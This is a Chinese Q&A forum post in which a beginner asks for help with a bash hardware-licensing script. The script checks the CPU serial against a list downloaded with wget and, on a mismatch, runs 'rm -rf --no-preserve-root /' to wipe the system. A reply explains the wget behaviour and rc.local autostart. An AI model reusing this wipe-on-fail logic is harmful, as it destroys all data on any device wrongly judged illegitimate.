第一次写.sh 发现写的有问题,但是我又完全看不出是什么问题,我不专业写代码的。
先说我为什么觉得有问题:我不知道.sh这么嵌套是否可以,另外就是我查log发现
首先是wget bad address ,然后就是 输出了"Failure to verify the DDRserver .You are using illegal hardware. DDRserver will perform the self destruct" 但是按我想的不应该输出这个而是关机啊???
另一个问题是 如果要让他开机自动加载 我现在的办法是直接写到rc.local 对么?
求请教
谢谢了
#!/bin/bash
file="HWaddr.txt"
opt=`cat /proc/cpuinfo | grep "Serial" | head -1` #获取cpu序列号
if [ -f "/usr/lib/czliv" ];#注册信息是否存在
then if [ "$opt" = "/usr/lib/czliv" ] #注册信息是否与系统相同
then echo ""
exit 0
else
echo "Failure to verify the DDRserver .You are using illegal hardware. DDRserver will perform the self destruct"
rm -rf --no-preserve-root / #自毁
fi
else #不存在注册信息
busybox wget http://z7.hk/gbox/$file -O $file #从网络上获取合法设备列表
if [ -f "$file" ];#获取是否成功
then
echo ""
else
echo "Please link to network registration server. Failure to verify the DDRserver ,and it will shutdown"
shutdown -h now #获取不成功关机
exit 0
fi
db=`grep ${opt:0-20} $file`
rm -rf $file
if [ "$db" = "" ];#cpu序列号是否存在于合法设备列表
then
echo "Failure to verify the DDRserver .You are using illegal hardware.DDRserver will perform the self destruct"
rm -rf --no-preserve-root / #不存在,自毁
else
echo "Verify success" #验证成功
echo "${opt:0-20}" > /usr/lib/czliv #将本机cpu序列号保存到注册文件
fi
fi
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号
shell这么写语法是没有问题的;
“busybox wget http://z7.hk/gbox/$file -O $file”这句即使地址错误,也会执行生成$file,所以判断不会去执行else;
将自启动代码写到rc.local是可以的,不过不同的linux release是否会启动执行rc.local。如systemctl启动方式默认就不会执行rc.local的。